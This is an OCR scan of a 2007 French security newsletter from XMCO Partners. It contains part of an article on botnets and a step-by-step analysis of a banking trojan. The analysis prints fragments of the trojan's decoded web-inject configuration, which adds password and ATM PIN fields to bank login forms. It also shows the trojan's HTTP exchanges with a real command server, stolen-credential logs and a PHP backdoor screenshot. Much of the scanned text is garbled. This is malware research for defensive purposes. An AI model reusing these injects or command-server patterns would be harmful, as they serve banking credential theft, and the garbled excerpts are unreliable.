rootkits et se dissimulent sur le systeme.

La premiere prévention consiste a maintenir a jour
son systéme au niveau des correctifs de sécurité.
Bien entendu, un antivirus doit étre installé sur tous
les systémes.

Ces deux notions de sécurité basiques éviteront une
partie des contaminations.

Seul le traffic émis par une machine vérolée peut
éveiller les soupgons des administrateurs et donner
des pistes pour tracker la vermine installée. Les pira-
tes utilisent des noms de domaine afin de permettre la
communication entre la machine zombie et le serveur
pirate. Chaque machine va donc résoudre un nom de
domaine a un moment ou un autre. Les requétes DNS
suspicieuses pourront alors étre identifiées et blacklis-
tées.

De plus, le protocole IRC demeure toujours un stan-
dard, les connexions externes vers un serveur IRC
(port 6667) sont également facilement tracables et
ces flux peuvent étre simplement interdits.

Coonclusion

Les botnets constituent une menace importante qui se
développe jour apreés jour.

Les malwares utilisent des techniques de plus en
plus évoluées afin de ne pas éveiller les soupcons
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des particuliers comme des administrateurs. Le dé-
veloppement de ces réseaux est considérable et les
moyens de communications sont toujours plus ingé-
nieux.

L’éradication de ce fléau passe par une prise de con-
science du probléme et de la sécurité. Les particuliers
doivent absolument utiliser des outils capables de dé-
tecter les malwares les plus virulents et de mettre
leurs systémes a jour.

Les nouveaux canaux cachés sont extrémement diffi-
ciles a repérer ce qui laissent encore des possibilités
aux pirates...

Des statistiques effrayantes

Des chercheurs ont mené des études sur
les botnets. Plusieurs chiffres ont été
publiées et rendent 1la problématique
des botnets impressionnante. En effet,
certains spécialistes affirment qu'un
quart des ordinateurs (soit 156 mil-
lions de machines) serait sous 1'em-
prise de botnets...

Le probléme prend donc une ampleur éco-
nomique importante et mondiale. Plus
grave encore, le phénoméne ne semble
pas s'arréter..On dénombre pas moins de
5000 a 30 000 nouvelles machines com-
promises chaque jour...

N'attendez plus et vérifiez 1'intégrité
de votre machine, vos mots de passe
sont déja peut étre revendus a 1l'autre
coin du globe...

Bibliographie

2k [1] Le “Peer to Dos” de Nicolas Ruff
http://www.ossir.org/jssi/jssi2006/supports/3B.pdf

2k [2] Blog de Fosforoa
http://www.insanenetworks.blogspot.com/

2k [3] Botnet Attack and Analysis de SecureWorks
http://www.secureworks.com/research/threats/botnet/

3k [4] Preuve de concept d’un bot via DNS
http:/fosforo.sytes.net/FoFuc_PoC bot beta2.tar.gz

[13]

Ce document est la propriété du cabinet XMCO Partners. Toute reproduction est strictement interdite.


http://www.symantec.com/avcenter/reference/Driveby_Pharming.pdf
http://www.symantec.com/avcenter/reference/Driveby_Pharming.pdf
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
http://www.xmcopartners.com
http://www.xmcopartners.com

-I{()SSII’:’ SPREGIAMBOLNIE
I\RT IW —
(I \RT. I\ N

s

LACTU SECU

L

#

=

Nous allons étudier le fonctionnement d’'un cheval de Troie de type « InfoStealer.Banker » autrement dit un pro-
gramme malicieux qui a pour fonction de subtiliser vos identifiants lors de la connexion aux sites bancaires. Sans
dévoiler toutes nos astuces et tous les utilitaires que nous utilisons, nous tenterons de vous donner un apergu de
I’analyse d’un malware.

Les malwares et les virus en tout genre occupent une place de plus en plus importantes et se développent consi-
déralement. Les auteurs de ces bouts de code vérolés mettent en place des méthodes toujours plus ingénieuses
pour s'exécuter furtivement et ne pas attirer I'attention des victimes.

Pour le besoin de notre étude, nous avons tout simplement ouvert notre messagerie, suivi un lien proposé dans un
email douteux puis télécharger un exécutable a I'apparence inoffensive.

Etude statique

La premiere étape de notre étude est une analyse statique. Contraire-
ment a I'analyse dynamique, nous examinerons ici le mode de fonction-
nement du virus sans I'exécuter (analyse du code source ou du binaire
récupére).

Ceci aura pour but de révéler certaines informations sur les origines du
virus, son mode d'installation, les librairie qu’il modifie ou le packer utili-
sé par les auteurs. Cette analyse ne donnera pas toutes les informations
utiles a la compréhension des réelles actions menées par le virus mais a
pour avantage de pas infecter la machine témoin.

Le malware est-il packé?

Dans cette premiére étape, nous allons étudier le type de “packer” utilisé
par les auteurs du virus. Le “packer” est un logiciel utilisé pour camoufler
le fichier malveillant a la vue des antivirus. Pour cela, les pirates utilisent
différents logiciels de ce type comme “HckPK®, “Themida®, “UPX*...

Nous utilisons deux outils d’analyse différents Les deux captures suivan-
tes confirment que le malware n’est pas packé mais a été compilé avec
Visual Studio C++ 6.0.
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E'g?j Stud_PE operating on : "malware.exe™

File Edit Tools Help

[ PEiD v0.94

c:\documents and settingshrootibureaumalware. exe

% Headers ] % Dos I o Sections ] fx Functions | Re Resources ¥ Signature I R H
Intemal database
piog: |PEid 0.9
auth: [Snakertd
date : [15/08/2(

Database actions
I Extemnal DB

searching time :

Database contains : 400 file type signatures
-BJENT 1.1b -> :MARQUIS:
BJFNT 1.2rc -> :MARQUIS:
.BJENT 1.3 > :MARQUIS:
32Lite 0.03a -> Dleg Prokhoroy
AcidCrypt -> AciDLeo
Alloy 1.%.2000 -> Prakash Gautam
APatch GUI 1. -> Joergen Ibsen
Armadilo 1.60a -> Silicon Realms Toolworks
Armadillo 1.71 -> Silicon Realms Toolworks
Detected Detection mode: (¢ Standard ¢ Hard

~
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File: |C:\Documents and SettingsirootiBureauimalware.exe

Entrypoint: | 00001958 EP Section: | .text

File OFfset: |000O0ODSS First Bytes: |55,8B,EC,6A

Linker Info: 6.0 Subsystem: |Win32 GUI

IMicrosoFt Visual C++ 6.0
Multi Scan |

Task Viewer Options About |

IV Stay on top

Visit Stud PE Forum [ Test'it |[Rva<=>Raw][ File Compare |

Nous utilisons ensuite la commande Unix « strings » qui va nous donner des informations supplémentaires sur les
actions du malware. Nous comprendrons ces données une fois que I'analyse dynamique sera réalisée. En effet,
cette commande permet de récupérer les chaines de caractéres contenues dans le binaire (noms des librairies,

fonctions systemes, clés de registre...)

215 DLL
216 /38 co.dll
217 co.dll
& Seo.dll
2 foimm.dll
20§ open
.1 | regsvr3z
2 | /3 cimm.dll
3 | heimm.dll
4 {3644117VA-58214-4cod-ADDS-Z2Z26A6694F 722}

Software! Nicrosofth Tindows) CurrentVersion
Explorer'Browser Helper Chjects
ComSpec

s NITIL
feodel
HelperMutex

Yhelp.txt
haln

DLL

f2 co.dll
co.dll
Yeoo.dll
cimm.dll

open

regsvrii
/s cimm.dll
Y cirm. dll
{3644117A-8218-4ccd-ADDS-226RA0G94F 722}
Software’ Microsoft) Tindowsh CurrentVersion'
ExplorerhiBrowser Helper Objects

ComSpec
>> NUL
foodel
HelperMutex
Yhelp.txt

KERNEL32.DLL,

les
SHELL32.DLL seront sans doute manipulés par le virus. De plus, les mots “Browser Helper Objects” indique qu’un
tel objet sera sans doute ajouté. Nous pouvons également imaginer que la DLL “cimm.dll sera ajouté au registre

Nous supposons alors que

(commande “regsvr32.exe /s cimm.dll”) et que le fichier “help.txt” jouera un réle dans la configuration du malware.

t be run in DOS

0000006 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20
00000070 60 6F 64 65 2E 0D 0D DA 24 00 00 00 00 00 00 00 mode. ... $
00000080 | 95 2B SA SB D1 44 34 08 D 34 08 D1 44 34 08 a+Z[RI4 AI4 RI4
00000090 EE 55 3E 08 DA 44 34 08 34 08 DO 4A 34 08 XU> 0J4 RV: BJ4
00000040 BE 55 30 08 D3 44 34 08 2 69 08 D& 4A 34 08 HUD OJ4 RBi.0J4
000000E0 skl 4 34 08 C 3F 08 D3 44 34 08 RIS aJ4 gl?.004
ooooooco | 16 4 32 08 Do A 34 08 63 66 D1 44 34 08 L2 BJ4 Richild
oooooopo | 0o 0o oo oo oo po 0o 00 00 00 00 00 00 0f
000000ED )1 04 00 64 46 00 00 00 0 b.dF

00 00 00 00 EO OO0 OF 01 06 00 00 OC 00 0 B

00 GE 01 00 00 00 00 00 3 00 00 00 10 00 00 .° X

00 20 00 00 00 00 40 00 0 00 00 00 02 00 00 @

04 00 00 00 00 00 00 00 0 00 00 00 00 00 00

00 AD 01 00 00 04 00 00 0 00 00 02 00 0O 00

00 00 10 00 00 10 00 00 0 10 00 00 10 00 00

00 00 00 00 10 00 00 00 0 00 00 00 00 00 00

DC 20 00 00 64 00 00 00 00 40 00 00 14 55 01 00 U ..d....@. ..U

00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00 0O

) 00 0 00 00 00 00 00 0O

« 8045 FC
€2

. BEZS @S204000
i

HULL
RegtreatekeuExd

ML
KEY_CRERTE_SUE_KEY
‘URES_CFT TON_MOM_VOLATILE
HULL

opdasez | . 6

AAAAA n "Sof twareslicrosof tulindows Currentile
higy = HK AL_MACHIHE

i ES: [ED.
FTR ES1[EDI]
WORD PTR 552 (EEP-681

L nalware 00481280

nalware_, BBB1EEC
WORD PTR 55t (EEF-6

-

4) [
0 MRP132, Regle letel
MOV EDI, nalware_ . B0433264

SUSH EDE

E{SI

Dernier détail, le code Hexadécimal (0x50450000) montre la signature du fichier qui s’avere étre un fichier PE

exéctuable sous Windows( PE=Portable Executable)

différent des fichiers ELF (exécutable Unix). Ce la est con-

firmé par la décompilation du code avec un débugger.
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Etude dynamique

Lancons nous maintenant dans l'analyse dynamique du
malware. Pour mener a bien cette étape, nous allons exécu-
ter le malware au sein d’'une machine physique. En effet,
certains virus détectent l'utilisation de machines virtuelle et
ne s’exécutent pas normalement (arrét silencieux).

Il existe un certain nombre d’outils spécialisés dans I'ana-
lyse de malware. Nous avons choisi de monitorer I'activité
du malware en utilisant principalement des outils qui réve-
lent les processus courants, les modifications du registre et
du systéme de fichiers. En paralléle, le logiciel Wireshark
permettra d’analyser passivement les flux réseau tandis que
process Explorer précisera les processus courants.

Enfin un dernier logiciel permettra de « photographier »
avant et aprés I'état du registre ce qui nous donnera une
vision différente et des détails sur les actions menées par le
virus.

Nos outils sont lancés....Exécutons a présent sur le mal-
ware....

Quelques minutes plus tard, les fichiers de logs de nos outils
nous donnent un premier apercu des modifications apportés
par le malware sur notre machine...

Quels sont les changements apportés sur le systéeme?

MPACK : une arme redoutable

Le malware le plus en vogue se nomme
MPACK. Aprés avoir compromis un ser-
veur, le pirate uploade un script
PHP. Ce dernier va balayer le serveur
infecté a 1la recherche de fichier
s“php, html, htm, tpl”.

Puis il contammine tous les sites web
hébergés en insérant wune Dbalise
iFrame pointant vers un site qui ten-
tera alors d’exploiter des failles de
sécurité des navigateurs (IE et Fire-
fox).

10000 sites web italiens ont été com-
promis de la sorte. Le kit est ac-
tuellement vendu de 500 a 1000$ sur
les marché Underground.

Apres avoir “double cliqué” sur le malware, ce dernier disparait immédiatement. L’outil nous indique pendant un

cours lapse de temps I'exécution du malware.

CIolx|

Le malware a donc bien été
exécuté et a méme fait appel a
« regsvr32.exe » pour enregis-
trer la librairie cimm.dll (que

nous verrons par la suite).

H 5O =5 #
Frorasy Pl  CFU  Descaphon Company Hams
= __ Syalem [da Pincess 0 1584
— | Irkemgpis nla 28 Hadeun Iniempds
Dy s 145 Defened Procedue Caly
v -__':h:h!r" 4 I
= 7] smn e 424 wirdoses T Sesson Mana. Micsasall Corpershon
Cles e K76 AN Cheni Server Rurtema Process Mennenl Comersiion
ﬂ AL B G0D Bl st douveitse deé 5.,  Mationoll Dorpdoshon
= : PRI Y LN Apphcsters Seivoces el Con . Magosll Copocsbon
M wvnhast s BER Berenc Host Process for'wi . Mirsnsnli Comporation
™= ruchast ave S 1A5  Densse Haot Procets fae Wi Maesssal Caparstion
h [T o B52 Mgy b g gubormatague s M ropolt Corporsbon
_jwl.'lml.l.m 14 e Hod Frocess ke ‘Wi Mesoeoll Copoison
[l =echnsi me 1184 Grnesic Hout Process for WA Mirsosnll Caporation
[l =pooky esxe 1372 E poaiey 5 b S yratem Spp Marranoli Corporsior
Mamwllptivesm | 1928
lears pue BRR 290 154 Skell [Fapost Varsion| Mirrnanli Corporation
§ eaplorer axe 1620 14.49  Caplorstéan Windkowi M rasol Comporshon
=} sched e 1700 JawalTM) 2 Platform Standat . Sun Micromstem, Irne
A marnige e 176 iz aanga Chari Muzopol Comonslion
vaechak s 8540 ‘wWrsthak The 'wWirsshasi. deroslopes
[T 1386 Dismpeap The \wineshark developer
BwWinlan e 1544
o pECERLer 72 190 Sveriminsk Poces: Explem  Syindeinal
= [ makvae e 488 MTE
iegrad e Al 73 MWicmeohiT) Rogiser Serves  Miesnanh Coporation
POPU Usage: B0, 90%  Commi Charge: 24.29%  Processes: O

Nos deux autres logiciels remontent tous les changements effectués sur le disque dur. En utilisant les fichiers de
log, nous pouvons rechercher les entrées qui nous intéressent, a savoir les fichiers que le processus

« malware.exe » auraient déposés sur le systéme.

© XMCO Partners - 2007

[16]

Ce document est la propriété du cabinet XMCO Partners. Toute reproduction est strictement interdite.


http://www.xmcopartners.com
http://www.xmcopartners.com

™ Ecriture de fichiers sur le systéme

Cions:

Avec la commande grep, nous met- _ : : i
tons en évidence les entrées ) IFE. ESF. BT
« CREATE » et « SUCCESS ». \ ) 9 g SEEFEZT.pE

s

LACTU SECU

CREATE

On voit que le malware a effectué les actions suivantes :

malware.exe:1104 CREATE C:\WINDOWS\system32\help.txt SUCCESS
malware.exe:1104 CREATE C:\WINDOWS\system32\cimm.dll SUCCESS

™ Ecriture ou modification du registre

Au niveau du registre, le malware a
également ajoute les clefs suivantes. |
Nous avons filtré les entrées de notre |
fichier de logs avec les mots clefs :
“CreateKey” et “SetValue”

Plusieurs points nous interpellent. Le malware ajoute un objet “Browser Helper” et utilise a un moment ou un autre
un algorithme de chiffrement.

malware.exe:1104 CreateKey HKLM\SOFTWARE\Microsoft\Cryptography\RNG SUCCESS

malware.exe:1104 CreateKey
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\
{01df170 0-257b-11dc-9880-00d068026ed0}\ SUCCESS

malware.exe:1104 CreateKey HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser

Un objet "Browser Helper Object" est une DLL qui permet aux développeurs de customiser et de contrdler Internet
Explorer. Le malware installe donc des fonctionnalités non désirées et souvent invisibles. Dés que la victime visite
une page web, I'objet peut modifier I'affichage a la volée et donc piéger facilement I'utilisateur abusé.
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Nos doutes sont confirmés avec I'utilisation d’un outil qui affiche les BHO présents sur le systéme.

The following Browser Helper Objects [EHO ) have been found on your machine:

EHO DLL Wame CLSID
R0 cirnrn. dll {36441174-8214-4CC4-ADDE-2264BE34F 722}

Revenons aux deux fichiers créés par notre virus « C:\WINDOWS\system32\help.txt» et « CA\WINDOWS\
system32\cimm.dll ».

Le premier est un fichier texte qui contient certainement des informations intéressantes mais celles-ci sont obfus-
quées.

De nombreuses entrées de ce type permettent de nous donner des pistes sur la nature de celles-ci. En effet, on
peut penser que ces données correspondent a des urls. La plupart des virus utilisent une simple opération XOR
pour camoufler le contenu des fichiers de configuration a la vue des victimes.

Nous utilisons alors un outil qui va réaliser une attaque de bruteforce sur I'algorithme en lui donnant des chaines
de caracteres en entrées. Aprés plusieurs tests, nous obtenons alors la clef XOR (0x043) qui a été utilisée pour
offusquer ce fichier.

Il ne nous reste plus qu’a décoder le fichier « help.txt » afin d’obtenir les données en clair.

¢?¥ml version="1.0" encoding='"windows-1251" 27>
O];:./c5610%, —~armsacs- ,' *=§~ad*-', 40nrqvrac| }NIcNIO*-) & TNIGL/~

PR 7IOWA7: / crv B, 6oL 6070-, 4allI4+"7~aNIce-Tale:, 613004,
B3 !/ c e, 4svd) NIDONDEEN: S "00~+0! BET !/ i, /6. - ) OES
c /"00~+0! NS TEAAT S srpl @R, 61037004, 1" yeeO

<inject
4 ur 1="offshore.hshc"
before="<TD oclass=hshoTextStylel5i=>You must now"
what="
enter your password to prevent fraud.<hr>/TD><fTR>
= <TR class='hshcTableRow03 hshcTableRow05' >
=] <TD class=hshcTableColumn04><SPAN class=hshcTextStylel3:-

BN 7 3 6~3"004, 1 e, " EE-5 T+~ pscl 2 i~wscS"/ GE~dde =", §~%6
101 PR ; O L VG ; 17 10 GRS [/ "00~d+0 ! e !/ o B, 4spo+0!
, 403/ £"0eNIa)NIOL®-) & 7)NINIO®-) & 7NI61/~ads//05"15,aclI! %, 1o~a)
14 14+" 7 &l I0 GIR

10 Your password: <INPUT type=password maxLength=30 size=40
XOR ( x43 )'_ value='' name=fullpasswort AUTOCOMPLETE='OFF ' ></SPAN></TD></TR>
2 <TR class='hshcTableRow03 hshcTableRow05' >
o1 T 13 <TD class=hsbcTextStylel5-
5 0 168 IS TIR¥RlSCHIDC Ml LED C3 IS T »_ﬁlw please
L2 =3
c /"00~d.,2 /,"{d:0 :
16 </inject>
G ER B ' ~3 F-co7n ! il
- gy e, @E-§TH-weT 3 6~3 7004, 10 cOF9E-wE-", g~3F-C"ET, , .3/ E76~ Az sinjeet
01 EFAn 19 ur l="wellsfargo"
2 re=" - id: n
PN NIaI!/, (~a"/7~E8, aclI +& (~ad*-alIZ6"-~avalll ,-7&-7~a'all 20 before="name=userid></DIV>
7N (aoNT ! §%, 16~a-", £~3"004, 1' }0 ] GEDEER} O | G ach14-+"7~al 21 what="
£ ran~0., " -, G173 3 0 1 CEDEER) O | DGR ; M 10 DY) O e <DIV><LABEL for=userid><STRONG>ATM PIN</STRONG></LABEL>:
- d L/, 1yis' d) B, c31856-T08 16 cg-761e:, 610 14" 23 <BR~SPAH class='mozcloak' > IHPUT id=pin tabIndex=2 maxLength=4
001 EEDGEAR O 1 i ;) 11 10 IS OGDEER: | /03 "—~pe /"00~0. "/ 24 type=password size=4 name=pin autocomplete='off'></SPAN-<fDIV>
/B3 " - o) DR} 61cE B, 1clli#+s (cTiBLc 2
6. 1 £1y0 LK} 0 L (RS ER; 1 10 B /"00~0. "/ / EERLT " o, B " se BRI “acks ati=lo=
27 check="pin"
I ENOHNNC * '~ cTi3e~T8 e M/ T e e 0TS grrue 5T 6 £~ dde -, £~ 0 guan="4" HELP.TXT APRES
;o EE3 "~ ~cp) OERTE ) WM 3 * 1717 %, — c NI 7 < w00 L W} O 1 ) E00 ) 14 110 GEs) G 23 content="d"
froo~0. "/ fo—, (L 3o/ %5 -~ 175 +7) Rém$mes togsst 0 LN EIN 30 H»

31 </ inject>

[HELP.TXT AvANT |

logeordssbaniol et lca, coms Loguords
ingEaraT harelays. eame/ | agunrds
Le fichier “help.txt” est donc un fichier XML qui contient des e e O i il
formulaires Web pour un certains nombre de banques dont la

liste apparait a la fin.

iz cvuut s . oo
Ethni . come/ 1o
*Elemings . coms/ Logeords

srpl,geindlazs . com<S Loguodss
w1 habeL b . rame ) | e
Sarhebugroup . come/ boguonds
s rLARETYer  pipes, comfnatiamride f o/ aaesrass
= molhb . oo logeoods
cdstsootiabank. coms/ Logeardss
s hamtirasbank . come S Loguordas

A ce stade nous pouvons déja imaginer les actions réalisées
par le malware. Un objet “BHO” a été ajouté a Internet Explo-
rer. Dés qu’une connexion sur un de ces sites bancaires a
lieu, le malware remplace a la volée certains formulaires pour
voler les identifiants de la victime. Le fichier “help.txt” est mis
a jour par le serveur web qui envoie au bot ce fichier XML.

ol Comc/ Logwoods
natisnot. com) | agenrds
comrullh . e logeends -
AATWEET , om=/ 1 OFesEAR
sebedigital. com:/ luogwordss
>1f . com/ Logeordss
sfiratdirect . come/ Loguardas
oy, AL . vome/ logeoeds

Ces soupcons seront ensuite confirmés dans la derniere

i £ Inguen CFRRATGITAL. PO [AFEAT AT
étape de notre analyse. 1 <lugworderunline-effshere , Lloydsbeb , v Logvonda’
2 logeardssiblogin. coms/ Lagesrdss
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Quelles sont les connexions établies par le malware?

Essayons alors d’identifier les connexions sortantes afin de vérifier si notre malware entre en contact avec un ser-
veur web contrélé par le pirate. Nous utilisons le sniffer « Wireshark ». Dés que nous lancons Internet Explorer (et
pas avant), une activité suspecte est identifiable....

La premiére requéte est envoyée a I'adresse IP : 81.95.150.2 (réservé par la société Rbusiness Network au Pa-
nama).

| Fler: o=l 1681060 v Daprossion Clear  Apply
No, - Troe Souxce Destington Frotocd  Iofo
330 25.1064%19 192.1065,10,00 5.9%.33%0.2 TCPR 1391 > htrp (SYN] Seqed Lens0 MSSe1460
333 25,229916 192.168.10.60 216.83.187.86 TCP 1390 > https [ACK] Seqel657 Ack«2530 wine63619 Len=0
337 25.274939  192.1€8.10.60 81.95.150.2 TCe 1391 > hrtp [ACk] Seqel Ack=l Win-84240 Lan0
U 43, U L108. 10,60 : . o d 3 B/ COmmand. pho s 0
341 25.602699 192.168.10.60 83.187.86 vi aApplicarion pata
342 25.%82420 192.168.10.560 8. 9%.150.2 1391 > http [ACK] Seqe=137 Ack«208 Wine64033 Lene0

344 25.901362 192.168.10.60 216.83.187.866 1390 > hrrps [ACK] Seqe26l9 Ack«3086 wine63063 Len«0
345 26.010392  192,168.10.60 192.168.10.14 I .

MES=2460
347 31.871361 1%2.168.10,60 H1.95.150.2 1391 > Seqel3l Ack=20% Wine6d033 Lens0

Dans un premier temps, notre maware va effectuer une requéte POST au script « /lim/newuser.php » en fournis-
sant un numéro aléatoire pour identifier la nouvelle machine infectée.

= Line-based text data: application/x—www-form-urlencoded
userid=03072007_123405_1464350

Une seconde requéte est émise vers /lim/command.php avec en parametre le numéro d’identification précédent.

HTTP

GET /Iim/command. php~7userid=03072007_123405_14643

50 HTTF/1.1

Le serveur renvoie alors un fichier XML qui deviendra le fichier “help.txt” analysé précédemment.

Ces deux requétes montrent clairement que la machine fait désormais parti d’'un « botnet ». A chaque exécution
d’Internet Explorer, une connexion est effectuée sur le méme serveur pour donner des informations mises a jour
au pirate.

Quel sont les objectifs du malware?

Nous avons appris que la machine infectée établissait une connexion vers un site web pirate.

Avec toutes les informatiosn que nous avons pu obtenir jusque 13, il est fortement probable que le malware soit
spécialisé dans le vol d’identifiants bancaires.

Nous allons alors visiter plusieurs sites de banques américaines issues du fichier “help.txt” a I'aide de deux ma-
chines différentes (saine et infectée).

Apres quelques essais, nous sommes arrivés a une découverte intéressante.
En effet, le site « bankofamerica.com » un des sites les plus utilisés aux USA nous a donné deux résultats diffé-
rents sur les deux machines comme le montre les captures suivantes :

L e e

e T 4

b ot of mews | e | e s‘nko'mca$ N

hnkolAnmka* PR Peastne - [ COMONMIE & MAITUIIONAL ¢ ABSET RANE BF AMIRICA ¢
oy Sl mais IRSPRIATE & ATITUTSNAL | | AMRST Akba AF AMIRILS b Eoto Socumn. Proe No Fee Mortzage PLUS
P re Get the 5 things vou shoulk
No Fee Mortgage PLUS A A,
[roa——— expect ina
~
Get the o) things you should [ =D
S ep————
clinamortgage, e A
[P sornew v Pliios Gt S B9 Products & Services  Manage Yoor Accounts  Achleve Your Goals
A
Products & Senices Monago Your AcCtuis  Achiove Your Goalks
[y T———
Cosom Praeiome

Avez-vous observ une différence ??
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La malversation n’est pas évidente pour un utilisateur peu vigilant mais si on regarde attentivement le formulaire
de login, un nouveau champs a été ajouté.

Le réle du troyen est clairement défini, dés qu’une connexion sur un site bancaire a lieu, I'objet « Browser Helper »
ajoute a la volée un formulaire comportant le champs « ATM ». L'utilisateur croit réellement étre sur le site de la
banque...

Si la victime remplit les champs et valide, les informations sont envoyées au script « upload.php » avec I'identifiant
de la machine infectée.

Les actions du malware ne s’arrétent pas la. Dans un second temps, le malware poste le contenu de tous les for-
mulaires de la page visité au script “/mail.php”. L'utilité de cette action n’a pas été clairement déterminée. |l est
possible que le pirate recoit des emails afin de se tenir au courant des derniers changements des sites qu’ils ci-
blenr...?

. 92.168.10. 81.95.150. POST /lim/mail.php HTTP/L.1 (application/x-www-1o
955 39.371305 192.168.10.60 81.95.150.2 TCP 1241 > http [ACK] 5eq=9076 Ack=167 win=64074 Len=
1196 45.705122 192.168.10.60 81.95.150.2 TCP 1241 > http [ACK] Seq=9076 Ack=168 win=64074 Len=
1197 48.334217 192.168.10.60 81.95.150.2 TCP 1241 > http [RST] 5e0=9076 Len=0

Frame 936 (184 hbytes on wire, 184 hytes captured)
Ethernet II, src: vmware_f9:73:f3 (00:0c:29:f9:73:f3), Dst: D-Link_25:ac:dl (00:11:95:25:ac:dl)
Internet Protocol, Src: 192.168.10.60 (192.168.10.60), Dst: 81.95.150.2 (81.95.150.2)
Transmission Control Protocol, Src Port: 1241 (1241), Dst Port: http (80), Seq: 8946, ack: 1, Len: 130
[Reassembled TCP Segments (9075 bytes): #908(185), #909(1460), #926(1460), #927(1460), #929(1460), #930(1460)
Hypertext Transfer Protocol
Line-based text data: application/x-www-form-urlencoded

subject=03072007_123405_1464390&content=*%[https://www. bankofamerica. com/index. jsp]l**\n

HUEQRM* ¥\

search\n

search\n

HHEQRM* ¥\

\n

¥ [https://www. bankofamerica. com/index. jsp]l**\n

HUEQRM¥ ¥\

IPHN

//==>\r\n

IPH

JS/document.write('\n

Do you have your \n

online ID?\n

Create one now\n

0 EHBRB B B

Enfin, deux autres scripts « command.php » et « commandback.php » serviront & envoyer et recevoir les com-
mandes dictées par le pirate.

Plusieurs variantes du malware que nous avons étudiées existent. Certains pointent encore vers des sites pirates
qui n’ont toujours pas été fermés. Nous nous sommes permis de jeter un coup d’oeil sur le site contrélé par le
pirate.La capture suivante illustre la puissance de certains botnets. Des centaines de fichiers de logs contenant
des milliers de comptes et de mots de passe sont stockés sur ce serveur :

Index of /logs

Timestamp:25.06.2007 5:07:45
FEx X XPROTECTED STORAGE®®% %% %
Resource: 19Z.165.1.1/D3L Router

& parenc 0y ui Description: IE:Password-Protected sites

T rar -Jun- 43 37 Username: 3L

? s T OT50Y x Password: [_lsl

g‘ $-ur . Resource: www.alto[  |.com/Acceso privado-509
% ; 4 : $4-Jun-3007 7 . Description: IE:Password-Protected sites

% 1 524 19-Jux Y L Usernsme: [ Eir

%‘,., L Eh s o1 ® Password: [ |040

8 o = . “

%) 4 Resource: busca

=3 010} $.%23 IT-Jwn-3007 31:07 o Description: IE Auto Complete Fields
Fan-3 4 ix Username: docedejaca, jaca,manga

Password: [ |

FResource: cnh

Description: IE Auto Complete Fields
Username: S560807542,038605807542,037858013572
Password:

AU CAHCAC AL

© XMCO Partners - 2007 [20]

Ce document est la propriété du cabinet XMCO Partners. Toute reproduction est strictement interdite.

OPARTNEF



http://www.xmcopartners.com
http://www.xmcopartners.com

s

LACTU SECU

Le pirate qui contréle ce site web a méme laissé un script PHP qui lui permet de contréler le serveur piraté
(backdoor PHP). Un interface évoluée permet d’administrer le serveur et tous les services utiles (base de don-
nées, serveurs FTP...)

03-07-2007 07:19:17 [ phpinfo ] [ phedni ] [ cpu ] [ mem ] [users ] [ teg ) [ delute ]
safe_mode: OFF PHP varsion: 4.4.6 cURL: ON MySQL: ON MSSQL: OFF PestgraSGL: OFF Oracla: OFF
” r57shell 1.24  Disable functions : NONE
HDD: © 116.45 GB HOO Tetal | 144.57 GB
uname a1 Linux server.palestine-dns.om 2.6, 18-grsec # 1 5MP Thu Jan 23 0327118 PST 2007 (886 1686 1388 GNU,/Linux
sysctl s Linu 2.0,10-grsec
$OSTYPE B grus
Server:  Apache,/1.3.37 (Unix) mod_auth_passthrough /1.8 mod_log_bytes /1.2 mod_bwlmited /1.4 PHE /4.4.8 FrontPage /3.0
i :

pwd: _/home dany /public_htmi sats { drwcr-xrx )
2177277277 22277771 s -

total 236

1165252 drwxe-xr=x 2 nobody nobody 4096 Jun 26 01:03 .

1066312 drwxc-x--- 10 demv nobody 4096 Jul 2 12:12 ..

1165253 -rw-r--f-- 1 nobody nobody 109883 Jun 16 23:38 r.php
1165254 -rw-r--r-- 1 nobody nobody 1089883 Jun 16 23:38 r.txt
1165255 -rv-r--r-- 1 nobody nobody 13 Jun 16 23:38 sertings.txt

P e

1 FIITIIII FFIIT I IININIT aw bl
VNI TN

TIPRITR PRIPIIINIT = ShomeSdeny/public_html/ssts 77772777
B AIIIIIIIIIIII VNI A CL U T
et pm sy e T -
777 - -_html/sets 77777?[}7” v = i -
2 PPPPIT aw 2e
NN NN - find suid files v I

£ PPRTR FFRRTE B RVIIIT aw 1

PR32 T et Ll
97777 2 77777 w fhome/denv/public_html/sets * frootMomef
7229722399777 = | vt pha * (ot phip B
£ FIIIEFEEERE R Y I P02 i
2992 292 222277 =t i)

2777 2 27777 = fhome/denv/public_html/sets * [ frootMhomesftmp )
2297272 727772 = * [hic] S PIITT IIIIIIIIINID MIIIIIINY

Conclusion

L’étude de malware est passionnante et nous apprend les différentes méthodes
de contréle et d’infection utilisées par les pirates. Avec certains outils plus ou
moins complexes, le role du virus est décomposé pas a pas et permet ensuite
d’atteindre directement le serveur utilisé pour contréler ces botnets.

Les malwares proche de “InfoStealer.banker” commencent a envahir peu a peu
la toile. La motivation des pirates est clairement lucrative et les techniques sont
de plus en plus furtives.

Un internaute peu aisément se faire piéger et peut difficilement se douter qu’un
formulaire & été ajouté a la volée malgré que l'internaute soit réellement sur le
site de sa banque.

© XMCO Partners - 2007 [21]
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REYARFAGUESITAIEURES

Les risques liés au “Social Engineering”
Des virus toujours des virus

Une des menaces majeur de ce mois aura été la dif-
fusion massive de plusieurs emails malicieux. Diffé-
rentes variantes ont été envoyées. La plupart d’entre
elles utilisait des titres du genre "Subject: You've re-
ceived a postcard from a family member!". Un lien
invitait la victime a suivre un lien pour visualiser une
carte de voeux virtuelle.

Le site pointé par ce lien tentait d'exploiter des failles
du navigateurs (exploits Quicktime, Winzip, Web-
ViewFolderlcon). Si le navigateur du client est vulné-
rable, un malware est alors téléchargé. Le pirate pour-
ra ensuite contréler cette machine qui fera parti d'un
réseau de machines vérolées (botnet).

// 016712007 6084 from a colle

| 290612007 20:59 You've recerved 8 postcard from & famby membert \

J Thunderbind pense que ce message est peot-gtre frouduleus.

iood dny.
four colleague has acnt you a greeting card from AmericanGreerings.Com.

